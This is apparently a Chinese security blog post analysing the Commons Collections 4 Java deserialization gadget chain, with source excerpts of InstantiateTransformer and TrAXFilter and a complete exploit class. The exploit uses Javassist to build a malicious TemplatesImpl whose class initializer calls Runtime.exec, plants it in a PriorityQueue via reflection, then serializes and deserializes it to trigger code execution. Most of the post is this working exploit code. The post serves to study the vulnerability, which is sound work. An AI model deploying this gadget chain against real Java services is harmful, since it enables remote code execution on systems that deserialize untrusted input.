WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

其它

关于博客

面试

杂谈

CommonsCollection4

该链在没到transformer之前和CommonsCollection2完全一样

先来了解一个新的transformer和TrAXFilter类

0x01 InstantiateTransformer

了解新的Transformer关键还是看构造方法和类中的transform方法

构造方法

1
2
3
4
5
6
7
8
public InstantiateTransformer(final Class<?>[] paramTypes, final Object[] args) {
super();
//调用父类构造方法,没啥影响就不看了
iParamTypes = paramTypes != null ? paramTypes.clone() : null;
//将接收到的参数克隆存入iParamTypes,iParamTypes是该类的属性
iArgs = args != null ? args.clone() : null;
//接收到的参数克隆存入iArgs,iArgs也同样是属性
}

transform

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 public T transform(final Class<? extends T> input) {
try {
if (input == null) {
//input是null报错
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a null object");
}
//input是一个Class类,指定参数类型找到构造方法,这里是反射的知识
final Constructor<? extends T> con = input.getConstructor(iParamTypes);
//实例化该类
return con.newInstance(iArgs);
} catch (final NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (final InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (final IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (final InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}

0x02 TrAXFilter

需要利用到的类,看构造方法就行了

1
2
3
4
5
6
7
8
9
10
//构造函数接收的参数是Templates类
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
//只需要要看这里templates强制转换为TransformerImpl调用newTransformer方法,调用该方法就说明能加载字节码了
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_overrideDefaultParser = _transformer.overrideDefaultParser();
}

0x03 反序列化分析

知道了上面2个知识点其实已经明了了

调用InstantiateTransformer的transform方法取到TrAXFilter类的构造方法后实例化,在构造方法中调用newTransformer实现加载字节码

然而InstantiateTransformer.transform是需要接收参数的

有2种方法将参数传入

  1. 使用ConstantTransformer将TrAXFilter.class存入iConstant,然后用ChainedTransformer循环调用
  2. 和CC2相同取出queue将TrAXFilter.class存入queue

这里用第二种方法,至于为什么存的是TrAXFilter.class后面就会写到

直接贴exp分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CC4 {
public static void main(String[] args) throws Exception {

//这样写是因为有个参数名冲突了,懒得想别的名字就写了个函数返回需要序列化的内容
PriorityQueue priorityQueue = payload();
serialize(priorityQueue);
unserialize("ser4.bin");
}

public static PriorityQueue payload() throws Exception {

//需要通过反射修改的,不用在意值
ConstantTransformer constant = new ConstantTransformer(String.class);
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };

//这里都是CC2写过的内容
InstantiateTransformer instantiate = new InstantiateTransformer(paramTypes, args);
TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
priorityQueue.add(1);
priorityQueue.add(1);

//取出queue修改第一个元素为TrAXFilter.class
Class priorityQueueClass = priorityQueue.getClass();
Field queueField = priorityQueueClass.getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queue = (Object[])queueField.get(priorityQueue);
queue[0] = TrAXFilter.class;
queue[1] = 1;

//修改comparator的transformer属性为instantiate
Class comparatorClass = comparator.getClass();
Field transformerField = comparatorClass.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(comparator, instantiate);

//取得instantiate的iParamTypes和iArgs属性
Class instantiateClass = instantiate.getClass();
Field iParamTypesField = instantiateClass.getDeclaredField("iParamTypes");
iParamTypesField.setAccessible(true);
paramTypes = (Class[])iParamTypesField.get(instantiate);

Field iArgsField = instantiateClass.getDeclaredField("iArgs");
iArgsField.setAccessible(true);
args = (Object[])iArgsField.get(instantiate);

//生成能执行字节码的templates,在前面的文章写过
TemplatesImpl templates = CreateTemplates();

//将paramTypes[0]修改为Templates.class
paramTypes[0] = Templates.class;
//将args[0]修改为templates
args[0] = templates;
//这里需要着重看看
/*
public T transform(final Class<? extends T> input) {
try {
if (input == null) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a null object");
}
//这样修改后走到InstantiateTransformer的transform的input就为TrAXFilter.class
//取出TrAXFilter类中的构造方法,指定参数为Templates.class
final Constructor<? extends T> con = input.getConstructor(iParamTypes);
//用取出的构造方法实例化,有一个类型为Templates的参数,这里的iArgs在上面使用反射修改为了templates
return con.newInstance(iArgs);
} catch (final NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (final InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (final IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (final InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}
*/

//再看看实例化

/*
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
//这里就是接收到的可以执行字节码的templates对象,调用newTransformer执行字节码
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_overrideDefaultParser = _transformer.overrideDefaultParser();
}
*/

return priorityQueue;
}

public static TemplatesImpl CreateTemplates() throws Exception{
TemplatesImpl templates = new TemplatesImpl();

ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("evil");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));

ctClass.setInterfaces(new CtClass[]{pool.get("java.io.Serializable")});

ctClass.makeClassInitializer().setBody("{Runtime runtime = Runtime.getRuntime();\n" +
"runtime.exec(\"calc\");}");
ctClass.setName("evil" + System.nanoTime());
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass);
ctConstructor.setBody("{}");
ctClass.addConstructor(ctConstructor);
CtMethod ctMethod1 = new CtMethod(CtClass.voidType, "transform", new CtClass[]{pool.get("com.sun.org.apache.xalan.internal.xsltc.DOM"), pool.get("com.sun.org.apache.xml.internal.dtm.DTMAxisIterator"), pool.get("com.sun.org.apache.xml.internal.serializer.SerializationHandler")},ctClass);
ctMethod1.setBody("{}");
ctClass.addMethod(ctMethod1);

CtMethod ctMethod2 = new CtMethod(CtClass.voidType, "transform", new CtClass[]{pool.get("com.sun.org.apache.xalan.internal.xsltc.DOM"), pool.get("com.sun.org.apache.xml.internal.serializer.SerializationHandler[]")},ctClass);
ctMethod2.setBody("{}");
ctClass.addMethod(ctMethod2);

byte[] byteClass = ctClass.toBytecode();
//base64编码
String payload = Base64.getEncoder().encodeToString(byteClass);
// ctClass.writeFile();

Field field_bytecodes = templates.getClass().getDeclaredField("_bytecodes");
field_bytecodes.setAccessible(true);
field_bytecodes.set(templates, new byte[][]{byteClass});

Field field_name = templates.getClass().getDeclaredField("_name");
field_name.setAccessible(true);
field_name.set(templates, "aaa");

Field field_tfactory = templates.getClass().getDeclaredField("_tfactory");
field_tfactory.setAccessible(true);
field_tfactory.set(templates, new TransformerFactoryImpl());
return templates;
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser4.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

0x04 调用链

1
2
3
4
5
6
7
8
9
10
/*
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InstantiateTransformer.transform()
templates.newTransformer()
*/